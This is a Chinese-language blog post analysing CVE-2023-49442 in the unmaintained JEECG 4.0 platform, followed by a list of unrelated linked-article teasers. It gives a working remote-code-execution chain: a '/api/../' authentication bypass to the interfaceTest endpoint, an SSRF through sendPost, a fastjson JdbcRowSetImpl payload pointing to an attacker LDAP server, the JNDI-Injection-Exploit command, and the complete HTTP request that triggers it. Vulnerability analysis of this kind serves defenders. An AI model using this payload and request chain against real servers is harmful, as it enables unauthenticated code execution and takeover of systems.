CVE-2023-49442 jeecg-formdemocontroller JNDI代码执行漏洞分析

漏洞描述

JEECG(J2EE Code Generation) 是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于 /api 接口鉴权时未过滤路径遍历,攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest 接口进行 jndi 注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。

解决建议

官方已停止维护,建议利用安全组设置其仅对可信地址开放。

项目下载地址

GitHub - jeecgboot/jeecg: JEECG是一款基于代码生成器的J2EE快速开发平台,开源界“小普元”超越传统商业企业级开发平台。引领新的开发模式(Online Coding模式(自定义表单) - > 代码生成器模式 - > 手工MERGE智能开发), 可以帮助解决Java项目90%的重复工作,让开发更多关注业务逻辑。既能快速提高开发效率,帮助公司节省人力成本,同时又不失灵活性。具备:表单配置能力(无需编码)、移动配置能力、工作流配置能力、报表配置能力(支持移动端)、插件开发能力(可插拔)JEECG是一款基于代码生成器的J2EE快速开发平台,开源界“小普元”超越传统商业企业级开发平台。引领新的开发模式(Online Coding模式(自定义表单) - > 代码生成器模式 - > 手工MERGE智能开发), 可以帮助解决Java项目90%的重复工作,让开发更多关注业务逻辑。既能快速提高开发效率,帮助公司节省人力成本,同时又不失灵活性。具备:表单配置能力(无需编码)、移动配置能力、工作流配置能力、报表配置能力(支持移动端)、插件开发能力(可插拔) - jeecgboot/jeecgicon-default.png?t=N7T8https://github.com/jeecgboot/jeecg/tree/master

漏洞分析

Controller 层

这里关注一个处理方法 testInterface

关注下代码

JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);

serverUrl,requestBody 均为我们可控的变量,这里已经照成SSRF漏洞了。

需要注意的是这次的请求居然被JSONObject类型所接受,这个值得我们注意。

追入sendpost方法,查看细节

 public static JSONObject sendPost(String url, String param)throws Exception {JSONObject jsonObject = null;PrintWriter out = null;BufferedReader in = null;String result = "";try {URL realUrl = new URL(url);// 打开和URL之间的连接URLConnection conn = realUrl.openConnection();// 设置通用的请求属性conn.setRequestProperty("accept", "*/*");conn.setRequestProperty("connection", "Keep-Alive");conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");// 发送POST请求必须设置如下两行conn.setDoOutput(true);conn.setDoInput(true);//设置网络超时conn.setConnectTimeout(6000);  conn.setReadTimeout(6000);// 获取URLConnection对象对应的输出流out = new PrintWriter(conn.getOutputStream());// 发送请求参数out.print(param);// flush输出流的缓冲out.flush();// 定义BufferedReader输入流来读取URL的响应in = new BufferedReader( new InputStreamReader(conn.getInputStream()));String line;while ((line = in.readLine()) != null) {result += line;}} catch (Exception e) {e.printStackTrace();}//使用finally块来关闭输出流、输入流finally{try{if(out!=null){out.close();}if(in!=null){in.close();}}catch(IOException ex){ex.printStackTrace();}}jsonObject = JSONObject.parseObject(result);return jsonObject;} 
}

经过一系列处理之后得到result,之后交给JSONObject 试图将返回json转成java对象。

JSONObject是package com.alibaba.fastjson 包下的类,fastjson历史上出现了较为严重的漏洞。

查看本次项目fastjson的版本 1.1.9

版本略微老,毕竟这个项目是19年发布,漏洞是22年发布。从时间上讲就是降维打击了。

1.2.83 之前的包 com.alibaba:fastjson 很容易通过绕过默认的 autoType 关闭限制而受到不受信任数据反序列化的影响,这在某些情况下是可能的。利用此漏洞可以攻击远程服务器

那么如何利用此漏洞呢,关注我之前分析的一篇文章JAVA安全之Fastjson反序列化漏洞原理及复现_fastjson反序列化漏洞修复方案-CSDN博客

这里介绍利用方法

dnslog测试

先在本地开一个80服务放入恶意json数据,让jeecg来请求,

ok, 预料之中 ,接下来尝试rce了

jndi rce测试

注本次环境 jdk 8-131+ tomcat8 有些组合不成功

搭建ldap服务器&准备恶意类

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

本地开启一个8000提供json

python -m http.server

 

        {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.66.64.89:1389/8orsiq","autoCommit":true}}

burp发包

POST /api/../jeecgFormDemoController.do?interfaceTest HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
​
serverUrl=http://127.0.0.1:8000/date.txt&requestBody=1&requestMethod=GET

(实际测试 只能是GET)

总体来说此次rce 执行了这几步

1,发送恶意的payload

2,jeecg接收到这个含有url的payload,便会请求这个url且试图将接收到的json数据转为java对象 。这里就让它请求我们的json数据date.txt

3, jeecg在将json数据转为数据的期间发现数据中有@type字段,得知用户想自定义对象且类是JdbcRowSetImpl,于是将dataSourceName属性设置为ldap://10.66.64.89:1389/8orsiq,因为这里有ldap协议,所以JdbcRowSetImpl对象会自动解析它,于是就来到了第三步,请求ldap

4,ldap是我们构造的恶意服务器,当有服务来请求,我们返回 redirecting to http://10.66.64.89:8180/ExecTemplateJDK8.class 给jeecg,让jeecg去加载这类,jeecg为了获取对象于是便加载了这个类,殊不知这个类被我们加入了恶意代码,于是来到最后一步

5,恶意被加载,我们的代码得以执行 计算器弹出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/761245.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

物联网如何推动工业自动化的发展和变革

物联网(IoT)技术在推动工业自动化的发展和变革方面扮演着至关重要的角色。以下是物联网如何实现这一目标的几种方式: 实时监控与控制: 物联网传感器和设备能够实时收集生产线上的数据,使企业能够实时监控设备状态、生…

P1596 [USACO10OCT] Lake Counting S(找连通块数量)

题目描述 Due to recent rains, water has pooled in various places in Farmer Johns field, which is represented by a rectangle of N x M (1 < N < 100; 1 < M < 100) squares. Each square contains either water (W) or dry land (.). Farmer John would l…

基于springboot的反诈宣传平台

技术&#xff1a;springbootmysqlvue 一、系统背景 反欺诈平台可以对公交信息进行集中管理&#xff0c;可以真正避免传统管理的缺陷。反欺诈平台是一款运用软件开发技术设计实现的应用系统&#xff0c;在信息处理上可以达到快速的目的&#xff0c;不管是针对数据添加&#xff…

如何学好Python语言

学习Python&#xff1a;一场充满探索与实践的编程之旅 Python&#xff0c;作为一种解释型、交互式和面向对象的编程语言&#xff0c;近年来在数据科学、人工智能、Web开发等多个领域得到了广泛的应用。掌握Python&#xff0c;不仅可以提升个人的编程技能&#xff0c;还能够为未…

页面router路由设计

Vue命名视图 命名视图 | Vue Router

游戏数据模块详解

游戏数据模块详解 MapLayerCellBrand总结 游戏数据模块详解 学习于bilibili 春娇与志明 Map map最顶层的数据模型,也叫地图类。包含所有元素&#xff0c;比如多个图层&#xff0c;消除框&#xff0c;道具之类的内容 Layer 一个Map当中有多个图层Layer,层层遮盖&#xff0…

单目深度估计:从理论到实践

在计算机视觉领域&#xff0c;深度估计是一个非常重要的研究方向。它旨在通过分析图像数据来推断场景中物体的相对或绝对距离。单目深度估计是指仅使用一个摄像头捕获的单一视角图像来估计深度信息&#xff0c;这在自动驾驶、增强现实、机器人导航等领域具有广泛的应用。本文将…

Vue3 进阶

Vue 进阶 前言 Vue3 入门文章地址&#xff1a;Vue3 入门 任务一 创建 Vite Vue3 单页应用 Vue 3 是一个流行的 JavaScript 前端框架&#xff0c;用于构建单页应用程序&#xff08;SPA&#xff09;。 下面是一些创建 Vue 3 单页应用程序的方式&#xff1a; Vue CLI&#…

NCV12711ADNR2G芯片PWM控制器中文资料规格书PDF数据手册引脚图图片价格功能

产品概述&#xff1a; NCV12711是一款固定频率、峰值电流模式PWM控制器&#xff0c;具有实施单端功率转换器拓扑结构所需的必要性能。这款器件工作电压范围4V至45V&#xff0c;无需辅助绕组&#xff0c;且位于热性能范围内。这款控制器包含一个可编程振荡器&#xff0c;能够在…

elasticsearch安装部署

elasticsearch部署 安装elasticsearch1.部署单点es1.1.创建网络1.2.加载镜像1.3.运行 2.部署kibana2.1.部署2.2.DevTools 3.安装IK分词器3.1.在线安装ik插件&#xff08;较慢&#xff09;3.2.离线安装ik插件&#xff08;推荐&#xff09;3.3 扩展词词典3.4 停用词词典 4.部署es…

Jmeter接口登录获取参数token报错问题解决方案

Jmeter接口登录时获取到的参数token一直在变的问题&#xff0c;导致运行时总是报错 解决方法如下&#xff1a; 1.新建一个GET的HTTP请求 2.添加正则表达式提取器 记得name"_token" value"(.?) 中间有一个空格&#xff0c;“_token”和value中间的空格&#xf…

Linux第81步_使用“互斥体”实现“互斥访问”共享资源

1、创建MyMutexLED目录 输入“cd /home/zgq/linux/Linux_Drivers/回车” 切换到“/home/zgq/linux/Linux_Drivers/”目录 输入“mkdir MyMutexLED回车”&#xff0c;创建“MyMutexLED”目录 输入“ls回车”查看“/home/zgq/linux/Linux_Drivers/”目录下的文件和文件夹 2、…

机器学习-可解释性机器学习:支持向量机与fastshap的可视化模型解析

一、引言 支持向量机(Support Vector Machine, SVM)作为一种经典的监督学习方法&#xff0c;在分类和回归问题中表现出色。其优点之一是生成的模型具有较好的泛化能力和可解释性&#xff0c;能够清晰地展示特征对于分类的重要性。 fastshap是一种用于快速计算SHAP值&#xff08…

进程创建,程序加载运行,以及进程终止,什么是僵尸进程,什么是孤儿进程

进程控制 创建进程&#xff0c;撤销进程&#xff0c;实现进程转换&#xff08;必须一气呵成&#xff0c;使用原语&#xff09; 原语不被中断是因为有关中断指令 创建进程 撤销进程 进程创建fork fork&#xff08;&#xff09;函数会创建一个子进程&#xff0c;子进程会返…

Uibot6.0 (RPA财务机器人师资培训第2天 )采购付款——网银付款机器人案例实战

训练网站&#xff1a;泓江科技 (lessonplan.cn)https://laiye.lessonplan.cn/list/ec0f5080-e1de-11ee-a1d8-3f479df4d981https://laiye.lessonplan.cn/list/ec0f5080-e1de-11ee-a1d8-3f479df4d981(本博客中会有部分课程ppt截屏,如有侵权请及请及时与小北我取得联系~&#xff0…

无人机的航向角

无人机的航向角&#xff08;Phi&#xff09;是无人机绕载体坐标系(z_{b})轴转动产生的角度&#xff0c;也可表示为机体坐标系x轴在水平面的投影与地理北方&#xff08;即导航坐标系x轴&#xff09;的夹角。机体绕(z_{b})轴顺时针转动&#xff0c;即飞机右转时&#xff0c;航向角…

网络编程day7

学生管理系统系统 #include <myhead.h> int do_add(sqlite3 *ppDb) {int add_numb0;char add_name[20]"";double add_score0;printf("请输入学号&#xff1a;");scanf("%d", &add_numb);printf("请输入姓名&#xff1a;");…

你要的个性化生信分析服务今天正式开启啦!定制你的专属解决方案!全程1v1答疑!

之前在 干货满满 | 给生信小白的入门小建议 | 掏心掏肺版 中有提到&#xff0c;如果小伙伴们真的想学好生信&#xff0c;那编程能力是必须要有的&#xff01;但是可能有些小伙伴们并没有那么多的时间从头开始学习编程&#xff0c;又或是希望有人指导或者协助完成生信分析工作&a…

牛客周赛22-C-小红的数组构造

好啊,很好啊. 关键点: 1.注意上下界的判断,x要 > 1开头的等差d 1的序列 < k - n 1开头的等差d 1的序列 这里有个细节 原来应该是 x < n * (2 * k - n 1) / 2 但k,x的范围是1e14,这样就爆long long,所以得是x * 2 / n < 2 * k - n 1 2.直接看代码的实现…

如何将来自不同物联网设备的数据集成到一个中央数据存储中

将来自不同物联网设备的数据集成到一个中央数据存储中&#xff0c;通常涉及以下几个步骤&#xff1a; 1. 数据采集 首先&#xff0c;需要从各个物联网设备中采集数据。这通常通过设备提供的API&#xff08;应用程序编程接口&#xff09;来完成。API允许你访问和检索设备生成的…